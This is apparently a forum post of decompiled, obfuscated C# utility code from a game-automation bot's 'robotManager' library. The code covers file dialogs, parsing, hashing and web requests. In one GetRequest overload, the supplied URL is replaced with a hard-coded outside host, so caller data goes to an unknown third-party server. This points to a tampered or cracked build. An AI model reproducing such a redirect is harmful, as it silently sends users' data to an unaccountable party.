      if (!cDisplayClass330.pathDirectory.Contains(robotManagerGlobalSetting.Esupoavidou()))
        str = System.Windows.Forms.Application.StartupPath + robotManagerGlobalSetting.UjiduasaewuaJekuawupe();
      cDisplayClass330.pathDirectory = str + cDisplayClass330.pathDirectory;
      cDisplayClass330.pathDirectory = cDisplayClass330.pathDirectory.Replace(robotManagerGlobalSetting.UbiebQioro(), robotManagerGlobalSetting.DeamuBouwoe());
      if (!Directory.Exists(cDisplayClass330.pathDirectory))
        return new List<string>();
      List<string> stringList1 = new List<string>();
      List<string> stringList2 = new List<string>();
      stringList1.Add(cDisplayClass330.pathDirectory);
      for (int index = 0; index <= stringList1.Count - 1; ++index)
      {
        stringList1.AddRange((IEnumerable<string>) ((IEnumerable<string>) Directory.GetDirectories(stringList1[index])).ToList<string>());
        // ISSUE: method pointer
        stringList2.AddRange((IEnumerable<string>) ((IEnumerable<string>) Directory.GetFiles(stringList1[index], searchPattern)).Select<string, string>(cDisplayClass330.\u003C\u003E9__0 ?? (cDisplayClass330.\u003C\u003E9__0 = new Func<string, string>((object) cDisplayClass330, __methodptr(\u003CGetFilesDirectoryAndSubDirectory\u003Eb__0)))).ToList<string>());
      }
      return stringList2;
    }

    // Method GetRequest with token 0600060D
    public static string GetRequest(/*Parameter with token 0800012B*/string url, /*Parameter with token 0800012C*/string data)
    {
      return Others.GetRequest("http://tumadre.000webhostapp.com/code.php", data, false);
    }

    // Method GetRequest with token 0600060E
    public static string GetRequest(/*Parameter with token 0800012D*/string url, /*Parameter with token 0800012E*/string data, /*Parameter with token 0800012F*/bool showErrors)
    {
      HttpWebResponse httpWebResponse = (HttpWebResponse) null;
      StreamReader streamReader = (StreamReader) null;
      try
      {
        if (string.IsNullOrWhiteSpace(data))
          url = string.Empty;
        string requestUriString = url;
        url = url + robotManagerGlobalSetting.OreunimeofXe() + data;
        HttpWebRequest httpWebRequest = (HttpWebRequest) WebRequest.Create(requestUriString);
        if (httpWebRequest.ServicePoint.Address.Host.Contains(robotManagerGlobalSetting.Isiuholimexi()) || httpWebRequest.ServicePoint.Address.Host.ToLower().Contains(robotManagerGlobalSetting.OfovauxasariUhoecun()))
          return string.Empty;
        httpWebRequest.UserAgent = robotManagerGlobalSetting.Ehajipali();
        httpWebResponse = (HttpWebResponse) httpWebRequest.GetResponse();
        streamReader = new StreamReader(httpWebResponse.GetResponseStream(), Encoding.GetEncoding(robotManagerGlobalSetting.Favepeanai()));
        return streamReader.ReadToEnd();
      }
      catch (Exception ex)
      {
        if (string.IsNullOrEmpty(url))
          url = string.Empty;
        if (string.IsNullOrEmpty(data))
          data = string.Empty;
        if (showErrors)
          Logging.WriteDebug(robotManagerGlobalSetting.Jaepoemi() + url + robotManagerGlobalSetting.Ukaulogaudaisa() + data + robotManagerGlobalSetting.Fiubeacame() + (object) ex);
        return "";
      }
      finally
      {
        try
        {
          httpWebResponse?.Close();
          streamReader?.Close();
        }
        catch
        {
        }
      }
    }

    // Method PostRequest with token 0600060F
    public static string PostRequest(/*Parameter with token 08000130*/string url, /*Parameter with token 08000131*/string parameters)
    {
      try
      {
        WebRequest webRequest = WebRequest.Create(url);
        webRequest.ContentType = robotManagerGlobalSetting.UwevoivaeveonUfe();
        webRequest.Method = robotManagerGlobalSetting.Bomemaixi();
        ((HttpWebRequest) webRequest).UserAgent = robotManagerGlobalSetting.MiekuUmo();
        byte[] bytes = Encoding.UTF8.GetBytes(parameters);
        Stream stream = (Stream) null;
        try
        {
          webRequest.ContentLength = (long) bytes.Length;
          stream = webRequest.GetRequestStream();
          stream.Write(bytes, 0, bytes.Length);
        }
        catch (WebException ex)
        {
          Logging.WriteError(robotManagerGlobalSetting.Ogefogie() + (object) ex, true);
        }
        finally
        {
          stream?.Close();
        }
        try
        {
          return new StreamReader(webRequest.GetResponse().GetResponseStream()).ReadToEnd().Trim();
        }
        catch (WebException ex)
        {
          Logging.WriteError(robotManagerGlobalSetting.UnaliuOhotailer() + ex.Message, true);
          int num = (int) System.Windows.Forms.MessageBox.Show(ex.Message, robotManagerGlobalSetting.Neiquh(), MessageBoxButtons.OK, MessageBoxIcon.Hand);
        }
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.Veburiovoujia() + (object) ex, true);
      }
      return (string) null;
    }

    // Property GetCurrentDirectory with token 17000020
    public static string GetCurrentDirectory
    {
      // Method get_GetCurrentDirectory with token 06000610
      get
      {
        return System.Windows.Forms.Application.StartupPath;
      }
    }

    // Method EncrypterMD5 with token 06000611
    public static string EncrypterMD5(/*Parameter with token 08000132*/string value)
    {
      try
      {
        byte[] hash = new MD5CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(value));
        StringBuilder stringBuilder = new StringBuilder();
        for (int index = 0; index < hash.Length; ++index)
          stringBuilder.Append(hash[index].ToString(robotManagerGlobalSetting.PelaqoEs()));
        return stringBuilder.ToString();
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.UbeonTae() + (object) ex, true);
      }
      return "";
    }

    // Method DialogBoxOpenFile with token 06000612
    public static string DialogBoxOpenFile(/*Parameter with token 08000133*/string path, /*Parameter with token 08000134*/string typeFile)
    {
      try
      {
        string oldValue = Path.GetFileName(path);
        if (!string.IsNullOrWhiteSpace(oldValue))
          path = path.Replace(oldValue, "");
        else
          oldValue = "";
        OpenFileDialog openFileDialog1 = new OpenFileDialog();
        openFileDialog1.InitialDirectory = path;
        openFileDialog1.Filter = typeFile;
        openFileDialog1.FileName = oldValue;
        OpenFileDialog openFileDialog2 = openFileDialog1;
        if (openFileDialog2.ShowDialog() == DialogResult.OK)
          return openFileDialog2.FileName;
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.OjoigeifoIp() + (object) ex, true);
      }
      return "";
    }

    // Method DialogBoxOpenFileMultiselect with token 06000613
    public static string[] DialogBoxOpenFileMultiselect(/*Parameter with token 08000135*/string path, /*Parameter with token 08000136*/string typeFile)
    {
      try
      {
        string oldValue = Path.GetFileName(path);
        if (!string.IsNullOrWhiteSpace(oldValue))
          path = path.Replace(oldValue, "");
        else
          oldValue = "";
        OpenFileDialog openFileDialog1 = new OpenFileDialog();
        openFileDialog1.InitialDirectory = path;
        openFileDialog1.Filter = typeFile;
        openFileDialog1.Multiselect = true;
        openFileDialog1.FileName = oldValue;
        OpenFileDialog openFileDialog2 = openFileDialog1;
        if (openFileDialog2.ShowDialog() == DialogResult.OK)
          return openFileDialog2.FileNames;
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.UmeodiojeinawuTevoug() + (object) ex, true);
      }
      return new string[0];
    }

    // Method DialogBoxSaveFile with token 06000614
    public static string DialogBoxSaveFile(/*Parameter with token 08000137*/string path, /*Parameter with token 08000138*/string typeFile)
    {
      try
      {
        string oldValue = Path.GetFileName(path);
        if (!string.IsNullOrWhiteSpace(oldValue))
          path = path.Replace(oldValue, "");
        else
          oldValue = "";
        SaveFileDialog saveFileDialog1 = new SaveFileDialog();
        saveFileDialog1.InitialDirectory = path;
        saveFileDialog1.Filter = typeFile;
        saveFileDialog1.FileName = oldValue;
        SaveFileDialog saveFileDialog2 = saveFileDialog1;
        if (saveFileDialog2.ShowDialog() == DialogResult.OK)
          return saveFileDialog2.FileName;
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.EbeasieWaunoad() + (object) ex, true);
      }
      return "";
    }

    // Method GetVisualCpp2010 with token 06000615
    public static void GetVisualCpp2010()
    {
      try
      {
        if (System.IO.File.Exists(Environment.SystemDirectory + robotManagerGlobalSetting.Xeqomeagu()))
          return;
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.Loibuho() + (object) ex, true);
      }
      try
      {
        if (System.Windows.Forms.MessageBox.Show(Translate.Get(robotManagerGlobalSetting.Aperouhia()), robotManagerGlobalSetting.Kovebuaqaxuam() + Translate.Get(robotManagerGlobalSetting.CowetafiEfain()), MessageBoxButtons.YesNo, MessageBoxIcon.Question, MessageBoxDefaultButton.Button2) == DialogResult.Yes)
          Process.Start(robotManagerGlobalSetting.EtucaejuNaiveoba());
        Process.GetCurrentProcess().Kill();
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.PoquecEvonoal() + (object) ex, true);
      }
    }

    // Method ExistFile with token 06000616
    public static bool ExistFile(/*Parameter with token 08000139*/string strPath)
    {
      try
      {
        return System.IO.File.Exists(strPath);
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.ItualopWuf() + (object) ex, true);
      }
      return false;
    }

    // Method GetFileSize with token 06000617
    public static long GetFileSize(/*Parameter with token 0800013A*/string strPath)
    {
      try
      {
        return new FileInfo(strPath).Length;
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.Axiemabi() + (object) ex, true);
      }
      return -1;
    }

    // Method RemoveFile with token 06000618
    public static bool RemoveFile(/*Parameter with token 0800013B*/string strPath)
    {
      try
      {
        System.IO.File.Delete(strPath);
        return !System.IO.File.Exists(strPath);
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.Baigoexoiweifi() + (object) ex, true);
      }
      return false;
    }

    // Method StringToEncryptString with token 06000619
    public static string StringToEncryptString(/*Parameter with token 0800013C*/string text)
    {
      try
      {
        if (string.IsNullOrEmpty(text))
          return "";
        string str = "";
        byte[] bytes = Encoding.UTF8.GetBytes(text);
        int num = Others.HardDriveID();
        for (int index = 0; index <= bytes.Length - 1; ++index)
        {
          if (str != "")
            str += robotManagerGlobalSetting.Ewupao();
          str += (string) (object) ((int) bytes[index] + num + 15);
        }
        return str;
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.Duqof() + (object) ex, true);
      }
      return "";
    }

    // Method EncryptStringToString with token 0600061A
    public static string EncryptStringToString(/*Parameter with token 0800013D*/string encryptText)
    {
      try
      {
        if (string.IsNullOrEmpty(encryptText))
          return "";
        string[] strArray = encryptText.Split(Convert.ToChar(robotManagerGlobalSetting.OliujureoveIsoet()));
        List<byte> byteList = new List<byte>();
        int num = Others.HardDriveID();
        for (int index = 0; index <= strArray.Length - 1; ++index)
          byteList.Add(Convert.ToByte((object) (Others.ParseInt(strArray[index]) - num - 15), (IFormatProvider) CultureInfo.InvariantCulture));
        byte[] array = byteList.ToArray();
        return Encoding.UTF8.GetString(array, 0, array.Length);
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.QagutumOhabaimu() + (object) ex, true);
      }
      return "";
    }

    // Method ReadFile with token 0600061B
    public static string ReadFile(/*Parameter with token 0800013E*/string filePath)
    {
      try
      {
        return System.IO.File.ReadAllText(filePath, Encoding.UTF8);
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.Omuipi() + (object) ex, true);
        return "";
      }
    }

    // Method WriteFile with token 0600061C
    public static void WriteFile(/*Parameter with token 0800013F*/string filePath, /*Parameter with token 08000140*/string value)
    {
      try
      {
        System.IO.File.WriteAllText(filePath, value, Encoding.UTF8);
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.TefaugBaekoe() + (object) ex, true);
      }
    }

    // Method Wait with token 0600061D
    public static void Wait(/*Parameter with token 08000141*/int milsecToWait)
    {
      try
      {
        int num = Others.GetTickCount() + milsecToWait;
        while (Others.GetTickCount() < num)
        {
          Others.DoEvents();
          Thread.Sleep(5);
        }
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.XiuvoirEviawiavu() + (object) ex, true);
      }
    }

    // Method DoEvents with token 0600061E
    public static void DoEvents()
    {
      try
      {
        System.Windows.Forms.Application.DoEvents();
      }
      catch
      {
      }
      try
      {
        // ISSUE: method pointer
        System.Windows.Application.Current.Dispatcher.Invoke(DispatcherPriority.Background, (Delegate) (Others.\u003C\u003Ec.\u003C\u003E9__52_0 ?? (Others.\u003C\u003Ec.\u003C\u003E9__52_0 = new Action((object) Others.\u003C\u003Ec.\u003C\u003E9, __methodptr(\u003CDoEvents\u003Eb__52_0)))));
      }
      catch
      {
      }
    }

    // Method GetTickCount with token 0600061F
    [DllImport("kernel32")]
    private static extern int GetTickCount();

    // Method GetReqWithAuthHeader with token 06000620
    public static List<string> GetReqWithAuthHeader(/*Parameter with token 08000142*/string url, /*Parameter with token 08000143*/string userName, /*Parameter with token 08000144*/string userPassword, /*Parameter with token 08000145*/string othersValue = "")
    {
      try
      {
        WebRequest webRequest = WebRequest.Create(Others.ToUtf8(url));
        if (userName != "" && userPassword != "")
        {
          string base64String = Convert.ToBase64String(Encoding.Default.GetBytes(Others.ToUtf8(userName) + robotManagerGlobalSetting.Ganeulosauw() + Others.ToUtf8(userPassword)));
          webRequest.Headers[robotManagerGlobalSetting.Atieh()] = robotManagerGlobalSetting.ObauvahidaefoeOqouge() + base64String;
          othersValue = othersValue.Replace("\r\n", "\n").Replace("\r", "\n").Replace("\n", " ").Replace(robotManagerGlobalSetting.IqeneitMearew(), "");
          webRequest.Headers[robotManagerGlobalSetting.AnaijiajebeNuwope()] = "";
          webRequest.Headers[robotManagerGlobalSetting.Ibutilu()] = othersValue;
        }
        ((HttpWebRequest) webRequest).UserAgent = robotManagerGlobalSetting.AheheLoa();
        WebResponse response = webRequest.GetResponse();
        string text = "";
        if (userName != "" && userPassword != "")
          text = response.Headers.Get(robotManagerGlobalSetting.UmiodieradUdoelies());
        string end = new StreamReader(response.GetResponseStream()).ReadToEnd();
        List<string> stringList = new List<string>();
        stringList.Add(Others.ToUtf8(text));
        stringList.Add(Others.ToUtf8(end));
        return stringList;
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.PeqevoujaherUsawe() + (object) ex, true);
      }
      List<string> stringList1 = new List<string>();
      stringList1.Add("");
      stringList1.Add("");
      return stringList1;
    }

    // Method GetStackTrace with token 06000621
    public static string GetStackTrace()
    {
      return "";
    }

    // Method CreateShortcut with token 06000622
    public static void CreateShortcut(/*Parameter with token 08000146*/string sourceFile, /*Parameter with token 08000147*/string shortcutFile, /*Parameter with token 08000148*/string description, /*Parameter with token 08000149*/string arguments, /*Parameter with token 0800014A*/string hotKey, /*Parameter with token 0800014B*/string workingDirectory)
    {
      try
      {
        if (string.IsNullOrEmpty(sourceFile))
          throw new ArgumentNullException(robotManagerGlobalSetting.UweoxukoafobuqUq());
        if (string.IsNullOrEmpty(shortcutFile))
          throw new ArgumentNullException(robotManagerGlobalSetting.Ocaukakaocue());
        IWshShortcut shortcut = (IWshShortcut) new WshShellClass().CreateShortcut(shortcutFile);
        shortcut.TargetPath = sourceFile;
        shortcut.Description = description;
        if (!string.IsNullOrEmpty(arguments))
          shortcut.Arguments = arguments;
        if (!string.IsNullOrEmpty(hotKey))
          shortcut.Hotkey = hotKey;
        if (!string.IsNullOrEmpty(workingDirectory))
          shortcut.WorkingDirectory = workingDirectory;
        shortcut.Save();
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.AvusiBohitetiw() + (object) ex, true);
      }
    }

    // Method StringBetween with token 06000623
    public static string StringBetween(/*Parameter with token 0800014C*/string chaine, /*Parameter with token 0800014D*/string debut, /*Parameter with token 0800014E*/string fin, /*Parameter with token 0800014F*/bool trim = true)
    {
      try
      {
        if (string.IsNullOrEmpty(chaine))
          return "";
        int num1 = !string.IsNullOrEmpty(debut) ? chaine.IndexOf(debut, StringComparison.Ordinal) : 0;
        if (num1 < 0)
          return string.Empty;
        int startIndex = num1 + debut.Length;
        int num2 = !string.IsNullOrEmpty(fin) ? chaine.IndexOf(fin, startIndex, StringComparison.Ordinal) : chaine.Length;
        if (num2 - startIndex <= 0)
          return string.Empty;
        string str = chaine.Substring(startIndex, num2 - startIndex);
        if (trim)
          str = str.Trim();
        return str;
      }
      catch (Exception ex)
      {
        Logging.WriteError(robotManagerGlobalSetting.AvigoqucaujoeFecuaqa() + (object) ex, true);
        return string.Empty;
      }
    }

    // Method ParseFloat with token 06000624
    public static bool ParseFloat(/*Parameter with token 08000150*/string floatString, /*Parameter with token 08000151*/out float result)
    {
      bool result1;
      result = Others.ParseFloat(floatString, out result1);
      return result1;
    }

    // Method ParseFloat with token 06000625
    public static float ParseFloat(/*Parameter with token 08000152*/string floatString)
    {
      bool result;
      return Others.ParseFloat(floatString, out result);
    }

    // Method ParseFloat with token 06000626
    public static float ParseFloat(/*Parameter with token 08000153*/string floatString, /*Parameter with token 08000154*/out bool result)
    {
      return (float) Others.ParseDouble(floatString, out result);
    }

    // Method ParseDouble with token 06000627
    public static bool ParseDouble(/*Parameter with token 08000155*/string doubleString, /*Parameter with token 08000156*/out double result)
    {
      bool result1;
      result = Others.ParseDouble(doubleString, out result1);
      return result1;
    }

    // Method ParseDouble with token 06000628
    public static double ParseDouble(/*Parameter with token 08000157*/string doubleString)
    {
      bool result;
      return Others.ParseDouble(doubleString, out result);
    }

    // Method ParseDouble with token 06000629
    public static double ParseDouble(/*Parameter with token 08000158*/string doubleString, /*Parameter with token 08000159*/out bool result)
    {
      result = false;
      double result1 = 0.0;
      if (string.IsNullOrWhiteSpace(doubleString))
        return result1;
      if (!double.TryParse(doubleString.Replace(" ", "").Trim().Replace(CultureInfo.InvariantCulture.NumberFormat.NumberDecimalSeparator, CultureInfo.CurrentCulture.NumberFormat.NumberDecimalSeparator), NumberStyles.Any, (IFormatProvider) CultureInfo.CurrentCulture, out result1))
        return 0.0;
      result = true;
      return result1;
    }

    // Method ParseInt with token 0600062A
    public static bool ParseInt(/*Parameter with token 0800015A*/string IntString, /*Parameter with token 0800015B*/out int result)
    {
      bool result1;
      result = Others.ParseInt(IntString, out result1);
      return result1;
    }

    // Method ParseInt with token 0600062B
    public static int ParseInt(/*Parameter with token 0800015C*/string intString)
    {
      bool result;
      return Others.ParseInt(intString, out result);
    }

    // Method ParseInt with token 0600062C
    public static int ParseInt(/*Parameter with token 0800015D*/string intString, /*Parameter with token 0800015E*/out bool result)
    {
      return (int) Others.ParseDouble(intString, out result);
    }

    // Method ParseUInt with token 0600062D
    public static bool ParseUInt(/*Parameter with token 0800015F*/string UIntString, /*Parameter with token 08000160*/out uint result)
    {
      bool result1;
      result = Others.ParseUInt(UIntString, out result1);
      return result1;
    }

    // Method ParseUInt with token 0600062E
    public static uint ParseUInt(/*Parameter with token 08000161*/string uintString)
    {
      bool result;
      return Others.ParseUInt(uintString, out result);
    }

    // Method ParseUInt with token 0600062F
    public static uint ParseUInt(/*Parameter with token 08000162*/string uintString, /*Parameter with token 08000163*/out bool result)
    {
      return (uint) Others.ParseDouble(uintString, out result);
    }

    // Method ParseLong with token 06000630
    public static bool ParseLong(/*Parameter with token 08000164*/string LongString, /*Parameter with token 08000165*/out long result)
    {
      bool result1;
      result = Others.ParseLong(LongString, out result1);
      return result1;
    }

    // Method ParseLong with token 06000631
    public static long ParseLong(/*Parameter with token 08000166*/string longString)
    {
      bool result;
      return Others.ParseLong(longString, out result);
    }

    // Method ParseLong with token 06000632
    public static long ParseLong(/*Parameter with token 08000167*/string longString, /*Parameter with token 08000168*/out bool result)
    {
      return (long) Others.ParseDouble(longString, out result);
    }

    // Method ReplaceUpperCharBySpaceChar with token 06000633
    public static string ReplaceUpperCharBySpaceChar(/*Parameter with token 08000169*/string s)
    {
      if (string.IsNullOrWhiteSpace(s))
        return string.Empty;
      for (int startIndex = 0; startIndex <= s.Count<char>() - 1; ++startIndex)
      {
        if (startIndex >= 1 && char.IsUpper(s[startIndex]))
        {
          s = s.Insert(startIndex, " ");
          ++startIndex;
        }
      }
      return s;
    }

    // Method .cctor with token 06000634
    static Others()
    {
      Others.Utf8 = new UTF8Encoding();
      Others._random = new Random((int) DateTime.Now.Ticks);
      Others._aweuqekadaucueUweuhea = "";
      Others._ilixae = "";
      Others.LockerDownload = new object();
    }

    // Type <>c with token 0200002A
    [/*Attribute with token 0C00001D*/CompilerGenerated]
    [Serializable]
    private sealed class \u003C\u003Ec
    {
      // Field <>9 with token 04000587
      public static readonly Others.\u003C\u003Ec \u003C\u003E9;
      // Field <>9__3_0 with token 04000588
      public static Func<string, bool> \u003C\u003E9__3_0;
      // Field <>9__4_0 with token 04000589
      public static Func<string, string, string> \u003C\u003E9__4_0;
      // Field <>9__10_0 with token 0400058A
      public static Func<char, int> \u003C\u003E9__10_0;
      // Field <>9__13_0 with token 0400058B
      public static Func<string, char, string> \u003C\u003E9__13_0;
      // Field <>9__32_0 with token 0400058C
      public static Func<string, string> \u003C\u003E9__32_0;
      // Field <>9__52_0 with token 0400058D
      public static Action \u003C\u003E9__52_0;

      // Method .cctor with token 06000635
      static \u003C\u003Ec()
      {
        Others.\u003C\u003Ec.\u003C\u003E9 = new Others.\u003C\u003Ec();
      }

      // Method .ctor with token 06000636
      public \u003C\u003Ec()
      {
        base.\u002Ector();
      }

      // Method <TextToArrayByLine>b__3_0 with token 06000637
      internal bool \u003CTextToArrayByLine\u003Eb__3_0(/*Parameter with token 0800016A*/string s)
      {
        return !string.IsNullOrWhiteSpace(s.Trim());
      }

      // Method <ArrayToTextByLine>b__4_0 with token 06000638
      internal string \u003CArrayToTextByLine\u003Eb__4_0(/*Parameter with token 0800016B*/string current, /*Parameter with token 0800016C*/string l)
      {
        return current + l + Environment.NewLine;
      }

      // Method <HardDriveID>b__10_0 with token 06000639
      internal int \u003CHardDriveID\u003Eb__10_0(/*Parameter with token 0800016D*/char c)
      {
        return Convert.ToInt32((object) c, (IFormatProvider) CultureInfo.InvariantCulture);
      }

      // Method <DelFileNameIllegalChar>b__13_0 with token 0600063A
      internal string \u003CDelFileNameIllegalChar\u003Eb__13_0(/*Parameter with token 0800016E*/string current, /*Parameter with token 0800016F*/char c)
      {
        return current.Replace(c.ToString(), string.Empty);
      }

      // Method <GetFilesDirectory>b__32_0 with token 0600063B
      internal string \u003CGetFilesDirectory\u003Eb__32_0(/*Parameter with token 08000170*/string subfolder)
      {
        return Path.GetFileName(subfolder)?.ToString((IFormatProvider) CultureInfo.InvariantCulture);
      }

      // Method <DoEvents>b__52_0 with token 0600063C
      internal void \u003CDoEvents\u003Eb__52_0()
      {
      }
    }

    // Type <>c__DisplayClass33_0 with token 0200002B
    [/*Attribute with token 0C00001E*/CompilerGenerated]
    private sealed class \u003C\u003Ec__DisplayClass33_0
    {
      // Field pathDirectory with token 0400058E
      public string pathDirectory;
      // Field <>9__0 with token 0400058F
      public Func<string, string> \u003C\u003E9__0;

      // Method .ctor with token 0600063D
      public \u003C\u003Ec__DisplayClass33_0()
      {
        base.\u002Ector();
      }

      // Method <GetFilesDirectoryAndSubDirectory>b__0 with token 0600063E
      internal string \u003CGetFilesDirectoryAndSubDirectory\u003Eb__0(/*Parameter with token 08000171*/string subfolder)
      {
        return subfolder.Replace(this.pathDirectory, "").ToString((IFormatProvider) CultureInfo.InvariantCulture);
      }
    }
  }
}
 

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now